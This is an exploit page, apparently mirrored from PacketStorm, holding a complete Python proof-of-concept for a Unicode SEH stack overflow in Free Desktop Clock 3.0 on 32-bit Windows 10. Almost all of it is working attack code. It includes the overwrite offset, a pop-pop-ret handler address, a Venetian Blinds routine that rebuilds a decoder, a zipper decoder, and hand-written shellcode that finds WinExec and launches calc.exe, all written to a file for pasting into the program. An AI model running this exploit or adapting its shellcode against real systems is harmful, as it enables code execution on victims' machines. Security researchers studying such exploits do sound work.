Share
## https://sploitus.com/exploit?id=PACKETSTORM:157198
# Exploit Title: Free Desktop Clock x86 - Venetian Blinds Zipper - Unicode SEH Stack Overflow  
# Exploit Author: Bobby Cooke  
# Date: April 11th, 2020  
# Vendor: Drive Software Company  
# Vendor Site: http://www.drive-software.com  
# Software Download: http://www.drive-software.com/download/freeclock.exe  
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)  
# - Does not work on x64 version  
# Version: Free Desktop Clock 3.0  
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer  
  
############################### CRASH INFO ###############################  
# [!] Access violation  
# 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044  
# SEH chain of main thread  
# Address SE handler  
# 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite  
# 00410041 74737953  
# 69620C00 *** CORRUPT ENTRY ***  
############################### CRASH INFO ###############################  
  
File = 'poc.txt'  
  
######################### EXPLOIT ENVIRONMENT INFO #########################  
#badChars = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'  
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'  
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)  
  
# Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename  
# 0x00400000 | False | False | False | False | [FreeDesktopClock.exe]   
# 0x042b0000 | True | False | False | False | [Clock.dll]   
######################### EXPLOIT ENVIRONMENT INFO #########################  
  
os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite  
nSEH = '\xeb\x05' # jmp short +2  
SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe]   
# nSEH & SEH translated opcodes after Pop-Pop-Ret  
# EB 00 jmp short +2  
# 05 00EB0043 add eax, 4300EB00  
  
# GetPC to decode our decoder using Venetian Blinds technique  
getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory   
getPC += '\x61' # popad # [ESP] = &Payload  
getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes  
  
ebx2eax = '\x58' # pop eax # EAX = &Payload  
ebx2eax += '\x72' # add [edx], dh  
  
# Use Venetian Blinds technique to fix our mangled decoder  
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte.   
#   
# Ajust EAX to &Decoder  
getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes  
getDecoder += '\x72' # add [edx], dh  
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder  
getDecoder += '\x72' # add [edx], dh  
getDecoder += '\x50' # push eax # [ESP] = &Decoder  
getDecoder += '\x72' # add [edx], dh  
  
############################# ZIPPER DECODER ###############################  
# Set EAX = First non-null byte of shellcode  
# init:  
# 1 | 50 | push eax # EAX = &Shellcode  
# 2 | 5F | pop edi # EDI = Decoder Destination Base Address  
# 3 | 47 | inc edi # First 0x00 byte of shellcode  
# 4:5 | 33D2 | xor edx, edx  
# 6:7 | 33C9 | xor ecx, ecx  
# 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter  
# decodeLoop:  
# 12:13 | 33DB | xor ebx, ebx  
# 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte   
# 15 | 42 | inc edx # increment to next non-null byte  
# 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte  
# 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte  
# 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00  
# 23:24 | 301F | xor [edi], bl # Write next byte of shellcode  
# 25 | 47 | inc edi  
# 26 | 49 | dec ecx  
# 27:28 | 74 02 | je short jmp2code  
# 29:30 | ^ EB ED | jmp short decodeLoop  
# jmp2code:   
# 31 | 50 | push eax  
# 32 | C3 | ret  
################################################3###########################  
  
#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'   
firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'   
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3'   
# 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32   
  
# Note: These nop unicode instructions are actually [reg+0x00] not [reg]  
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes   
# Use the 3 byte version for Venetian Blinds alignment  
# Example:  
# nasm > add [edx], dh  
# 00000000 0032 add [edx],dh  
# nasm > add [edx+00], dh  
# 00000000 0032 add [edx],dh  
# nasm > add [edx+01], dh  
# 00000000 007201 add [edx+0x1],dh  
# + This happens when typing in ASM commands into msf-nasm_shell and immunity  
  
## 2nd byte - \x00 => \x5F  
venBlinds = '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\xC6\x5F' # mov byte [eax], 0x50  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 4th byte - \x00 => \x33  
venBlinds += '\xC6\x33' # mov byte [eax], 0x33  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 6th byte - \x00 => \x33  
venBlinds += '\xC6\x33' # mov byte [eax], 0x33  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 8th byte - \x00 => \x66  
venBlinds += '\xC6\x66' # mov byte [eax], 0x66  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 10th byte - \x00 => \x10  
venBlinds += '\xC6\x10' # mov byte [eax], 0x10  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 12th byte - \x00 => \x33  
venBlinds += '\xC6\x33' # mov byte [eax], 0x33  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 14th byte - \x00 => \x42  
venBlinds += '\xC6\x42' # mov byte [eax], 0x42  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 16th byte - \x00 => \x32  
venBlinds += '\xC6\x32' # mov byte [eax], 0x32  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 18th byte - \x00 => \x02  
venBlinds += '\xC6\x02' # mov byte [eax], 0x02  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 20th byte - \x00 => \x10  
venBlinds += '\xC6\x10' # mov byte [eax], 0x10  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 22nd byte - \x00 => \x3F  
venBlinds += '\xC6\x3F' # mov byte [eax], 0x3F  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 24nd byte - \x00 => \x1F  
venBlinds += '\xC6\x1F' # mov byte [eax], 0x1F  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 26th byte - \x00 => \x49  
venBlinds += '\xC6\x49' # mov byte [eax], 0x49  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 28th byte - \x00 => \x02  
venBlinds += '\xC6\x02' # mov byte [eax], 0x02  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 30th byte - \x00 => \xED  
venBlinds += '\xC6\xED' # mov byte [eax], 0xED  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'  
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution  
## 32nd byte - \x00 => \xC3  
venBlinds += '\xC6\xC3' # mov byte [eax], 0xC3  
venBlinds += '\x72' # add [edx], dh  
venBlinds += '\x40' # inc eax // now eax points shellcode byte  
venBlinds += '\x72' # add [edx], dh  
# Jump to the decoded decoder by Returning to the address we saved on the stack  
venBlinds += '\xC3' # ret [!] Now we are executing the decoder!  
  
os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))  
  
#badChars = 00 0d 80 82->8e 91->9f  
# Custom PopCalc shellcode that avoids the bad characters  
fKernel32 = '\x33\xF6' # xor esi, esi  
fKernel32 += '\xF7\xE6' # mul esi  
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB  
fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR  
fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll  
fKernel32 += '\xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll  
fKernel32 += '\x50' # push eax  
fKernel32 += '\x5E' # pop esi  
fKernel32 += '\xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll  
fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32  
  
gExpotTbl = '\x33\xC9' # xor ecx, ecx  
gExpotTbl += '\x33\xF6' # xor esi, esi  
gExpotTbl += '\x33\xDB' # xor ebx, ebx  
gExpotTbl += '\xF7\xE3' # mul ebx  
gExpotTbl += '\x58' # pop eax # EAX = &kernel32  
gExpotTbl += '\x50' # push eax # [ESP] = &kernel32  
gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader  
gExpotTbl += '\x03\xF0' # add esi, eax ; ESI = &NewEXEHeader  
gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable  
gExpotTbl += '\x03\xD0' # add edx, eax ; EDX = &ExportTable = 763477B0  
  
gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable  
gExpotTbl += '\x03\xD8' # add ebx, eax ; EBX = &ExportNameTable  
  
gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable  
gExpotTbl += '\x03\xC8' # add ecx, eax ; ECX = &ExportOrdinalTable  
gExpotTbl += '\x51' # push ecx  
  
gExpotTbl += '\x33\xFF' # xor edi, edi  
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable  
gExpotTbl += '\x03\xF8' # add edi, eax ; EDI = &ExportAddrTable  
gExpotTbl += '\x57' # push edi  
  
fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW  
fWinExec += '\x33\xC0' # xor eax, eax ; EAX = Counter  
  
fWinExec += '\x33\xF6' # xor esi, esi  
fWinExec += '\x03\xF4' # add esi, esp ; ESI = "WinE"  
fWinExec += '\xFC' # cld ; Process strings left to right  
fWinExec += '\x50' # push eax  
fWinExec += '\x33\xC9' # xor ecx, ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\xF7\xE1' # mul ecx  
fWinExec += '\x33\xFF' # xor edi, edi  
fWinExec += '\x03\x3C\x18' # add edi, [eax+ebx]   
fWinExec += '\x58' # pop eax  
fWinExec += '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString  
fWinExec += '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"  
fWinExec += '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop  
fWinExec += '\x40' # inc eax ; Counter ++  
fWinExec += '\xEB\xE1' # jmp short searchLoop ; restart loop  
  
fWinExec += '\x33\xC9' # xor ecx, ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\x41' # inc ecx  
fWinExec += '\xF7\xE1' # mul ecx  
fWinExec += '\x33\xC9' # xor ecx, ecx  
fWinExec += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable  
fWinExec += '\x03\xC8' # add ecx, eax  
fWinExec += '\x33\xC0' # xor eax, eax  
fWinExec += '\x66\x03\x01' # add ax, [ecx] ; AX = ordinalNumber  
  
fWinExec += '\x33\xC9' # xor ecx, ecx  
fWinExec += '\x41\x41\x41\x41' # inc ecx X 4  
fWinExec += '\xF7\xE1' # mul ecx  
fWinExec += '\xFF\x74\x24\x04' # push dword [esp+0x4]  
fWinExec += '\x01\x04\x24' # add [esp], eax  
fWinExec += '\x5A' # pop edx  
fWinExec += '\x33\xDB' # xor ebx, ebx  
fWinExec += '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec  
fWinExec += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec  
# Call WinExec( CmdLine, ShowState );  
# CmdLine = "calc.exe"  
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window  
callWinExec = '\x33\xC9' # xor ecx, ecx ; clear eax register  
callWinExec += '\x51' # push ecx ; string terminator 0x00 for "calc.exe" string  
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e  
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163  
callWinExec += '\x33\xC0' # xor eax, eax  
callWinExec += '\x03\xC4' # add eax, esp ; save pointer to "calc.exe" string in eax  
callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001  
callWinExec += '\x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument  
callWinExec += '\x50' # push eax ; lpcmdLine - push string address stack # 1st argument  
callWinExec += '\xFF\xD3' # call ebx ; Call the WinExec Function  
  
shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec  
  
buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode  
filler = '\x77'*(9000-len(buffer))  
buffer = buffer+filler  
  
try:  
payload = buffer  
f = open(File, 'w')  
f.write(payload)  
f.close()  
print File + " created successfully"  
except:  
print File + ' failed to create'